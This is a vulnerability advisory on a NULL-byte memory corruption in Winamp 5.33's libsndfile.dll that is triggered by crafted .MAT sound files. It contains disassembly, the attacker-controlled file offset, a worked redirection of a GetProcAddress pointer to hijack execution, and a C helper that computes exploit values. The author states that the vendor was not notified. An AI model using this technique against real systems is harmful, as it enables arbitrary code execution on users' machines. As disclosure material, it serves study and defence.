AOL Nullsoft Winamp LIBSNDFILE.DLL Remote Memory Corruption (Off By Zero)
	by Piotr Bania <bania.piotr@gmail.com>
	http://www.piotrbania.com


	Severity: 		Critical - Possible remote code execution.

	Software affected: 	Tested on AOL Nullsoft Winamp v5.33 (x86) Feb 13 2007
				(on Windows XP SP1/SP2).

				There exist a large possiblity that any other
				software that is using the LIBSNDFILE.DLL component
				should be considered as vulnerable.


	Orginal url:		http://www.piotrbania.com/all/adv/nullsoft-winamp-libsndfile-adv.txt




	0.   DISCLAIMER

	Author takes no responsibility for any actions with provided informations or 
	codes. The copyright for any material created by the author is reserved. Any 
	duplication of codes or texts provided here in electronic or printed 
	publications is not permitted without the author's agreement. 
		
	

	I.  BACKGROUND


	AOL Nullsoft is the most popular multimedia player in the world.
	Libsndfile.dll is a one of Winamp components.


	II. DESCRIPTION


	The problem takes place when Winamp is trying to play specially
	crafted .MAT (MATLAB SOUND FILE). 


	Take a look a this code snipet:
	----// SNIP SNIP //-------------------------------------------------
	.text:1000CCED                 cmp     [ebp+MY_DWORD], 40h		; (1)
	.text:1000CCF1                 jl      short kont
	.text:1000CCF3
	.text:1000CCF3 loc_1000CCF3:                           ; CODE XREF: sub_1000CB3B+BAj
	.text:1000CCF3                 push    7Ah
	.text:1000CCF5                 jmp     faked
	.text:1000CCFA ; 	¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
	.text:1000CCFA
	.text:1000CCFA kont:                                   ; CODE XREF: sub_1000CB3B+1B6j
	.text:1000CCFA                 push    [ebp+MY_DWORD]
	.text:1000CCFD                 lea     eax, [ebp+var_64]
	.text:1000CD00                 push    eax
	.text:1000CD01                 push    ebx             ; int
	.text:1000CD02                 push    esi             ; DistanceToMoveHigh
	.text:1000CD03                 call    sub_10025A28
	.text:1000CD08                 mov     eax, [ebp+MY_DWORD]		
	.text:1000CD0B                 mov     byte ptr [ebp+eax+var_64], 0 	; (2)
	----// SNIP SNIP //-------------------------------------------------

	Here, MY_DWORD value is completly controled by the attacker and it is stored at
	offset 0x39 from begining of the attached .mat files. 

	As you can see, the block (1) is very important since, the memory overwrite 
	will not occur when MY_DWORD value will be greater or equal to 0x40. 
	The way of computing memory address at block (2), leads as to following basic 
	math assumptions:

	1) x < 0x40
	2) y = ebp + x - 0x64

	Where:
	x - our param (MY_DWORD)
	y - final overwrite address

	Then after few simple calculations, we should have got a dimension for *y*
	(final address), since the *x* dimension is limited by 0x40.

	So here we have:
	** y < ebp - 0x64 + 0x40 **

	that means for example, if we consider EBP is equal to 0x010CFB7C, we got:
	** y < 0x10CFB58 **

	It shortly means that the final address that we can compute from our 
	MY_DWORD value, must be lower then 0x10CFB58. That surely make the exploitaiton
	harder since we are limited to the memory lower then 0x10CFB58. If we consider
	only the modules, which are loaded together with the target process we should
	have some that suits our needs:

	----// SNIP SNIP //-------------------------------------------------
	Executable modules
	Base       Size       Entry      Name       File version      Path
	00400000   00125000   0045FD3E   winamp     5,3,3,1100        winamp.exe
	00C70000   00012000   00C7D8B5   png                          png.w5s
	00C90000   00056000   00C9229F   MSVCR71    7.10.3052.4       MSVCR71.dll
	00D00000   0005E000   00D1ADD2   in_APE     3.99              in_APE.dll
	00E00000   0004F000   00E0E54E   in_cdda                      in_cdda.dll
	00E50000   0001B000   00E5F124   in_midi                      in_midi.dll
	00E70000   0001B000   00E80FFC   read_fil                     read_file.dll
	00E90000   0002B000   00EA77EF   in_mod                       in_mod.dll
	00EC0000   00008000   00EC3B89   in_mp4                       in_mp4.dll
	00ED0000   00028000   00EE7CF2   libmp4v2                     libmp4v2.dll
	00F00000   0003D000   00F3B640   in_mpc                       in_mpc.dll
	00F40000   0003E000   00F5ED76   in_vorbi                     in_vorbis.dll
	00F80000   00007000   00F814FC   in_wave                      in_wave.dll
	00F90000   0003D000   00FBAA8F   libsndfi                     libsndfile.dll
	----// SNIP SNIP //-------------------------------------------------

	As you can see we have some modules which are available for our needs (mainly
	they are mapped below the limits we have). As you probably know, we can only
	overwrite a single byte with a single NULL byte.

	For a little EIP redirection example of mine, lets consider following 
	sitatution. Here, we have pretty interresting datas from WINAMP.EXE:

	(DATA section stays writeable)
	
	----// SNIP SNIP //-------------------------------------------------	
	...
	.data:00472F14                                         ; sub_456A06+Bo ...
	.data:00472F18 ; __int32 off_472F18
	.data:00472F18 off_472F18      dd offset sub_456566    ; DATA XREF: sub_40340C+58r
	.data:00472F18                                         ; sub_4543E8+59r ...
	.data:00472F1C ; __int32 off_472F1C
	.data:00472F1C off_472F1C      dd offset sub_4565D5    ; DATA XREF: sub_406220+49r
	.data:00472F1C                                         ; sub_406587+BEr ...
	.data:00472F20 ; __int32 off_472F20
	.data:00472F20 off_472F20      dd offset sub_45668E    ; DATA XREF: sub_4097F4+B1r
	.data:00472F20                                         ; sub_45668E+Bo ...
	...
	----// SNIP SNIP //-------------------------------------------------	
	
	
	The off_472F1C is infact:

	----// SNIP SNIP //-------------------------------------------------	
	00472F1C  A0 AD 80 7C                                       ­€|
	----// SNIP SNIP //-------------------------------------------------	

	which is a pointer to KERNEL32.DLL!GetProcAddress API function.
	In this case (consider we want to overwrite this data entry) we can 
	make the following redirections:

	1) 7C80ADA0 -> 0080ADA0
	2) 7C80ADA0 -> 7C00ADA0
	3) 7C80ADA0 -> 7C8000A0
	4) 7C80ADA0 -> 7C80AD00

	That means, that when WINAMP.EXE will try to call the GetProcAddress
	function ((from the pointer it has), it will fly to the address we have
	modified:

	To see the example run EIP_FLOW.mat, and monitor all the EDI values
	at 0x00425127.

	----// SNIP SNIP //-------------------------------------------------	
	.text:004250E8                 mov     edi, off_472F1C  ; <-- OUR MODIFIED OFFSET
	...
	.text:00425127                 call    edi 		; <-- EXECUTION	
	----// SNIP SNIP //-------------------------------------------------	

	In this example you should be redirected to 0x7C00ADA0.
	** Access violation when executing [7C00ADA0] **

	Of course there exist also another possiblity, where attacker can modify
	the stack space directly (since the stack here is correct for our limits),
	Of course i not mean here the stack of LIBSNDFILE module, because it not suits
	our needs (0x010CFFFC is too much).

	There are probably much more importants areas there. Attacker should 
	choose the best way.


	III. POC CODES

	If you didnt see the correct result of eip_flow.mat, you may need to recalculate
	the address at offset 0x39, with your value of EBP register. You can grab it
	while launching poc.mat.

	Here's a little proggy for computing X value (the one at 0x39 offset):
	----// SNIP SNIP //-------------------------------------------------	
	#include <stdio.h>
	#include <stdlib.h>


	/* modify this for your own EBP */
	unsigned long ebp = 0x010CFB7C;


	#define give_addr(x) (unsigned long)(x - ebp + 0x64)
	long ConvertHexStrToLong( char* s );


	int main(int argc,char *argv[])
	{

   	     unsigned long out = give_addr(ConvertHexStrToLong(argv[1]));

	     printf("[*] X is: 0x%.08x\n",out);

             if (((signed)out>= 0x40))
                printf("[*] WARNING THE X VALUE IS NOT VALID (COLLIDING LIMITS)\n");
             else
        	printf("[*] X VALUE IS OK!!!\n");


  	     return 0;
	}


	long ConvertHexStrToLong( char* s )
	{
    	     int hexDigit[] = { 10, 11, 12, 13, 14, 15 };
	     long n = 0;
             char c = *s++;

             while( c != '\0' )
             {
                if( c >= '0' && c <= '9' )
 	          n = n * 16 + (c - '0');
                else
                {
                  c = tolower( c );
                  n = n * 16 + hexDigit[(c - 'a')];
                }

                c = *s++;
             }

             return n;
         }

	----// SNIP SNIP //-------------------------------------------------	

	EXAMPLE (we want to overwrite 0x472F1C):

	(19:51:pb@wisdom)~:> ./sru 0x472F1C
	[*] X is: 0xff3a3404    <--- this value should be put at 0x39
	[*] X VALUE IS OK!!!
	
	
	III. IMPACT

	Successful exploitation may allow the attacker to run arbitrary code in 
	context of user running AOL Nullsoft Winamp.


	IV. VENDOR RESPONSE

	Due to the fact i was looking for a AOL NULLSOFT contact for over 30 minutes with
	no effect, i got finally bored and i haven't notified them at all.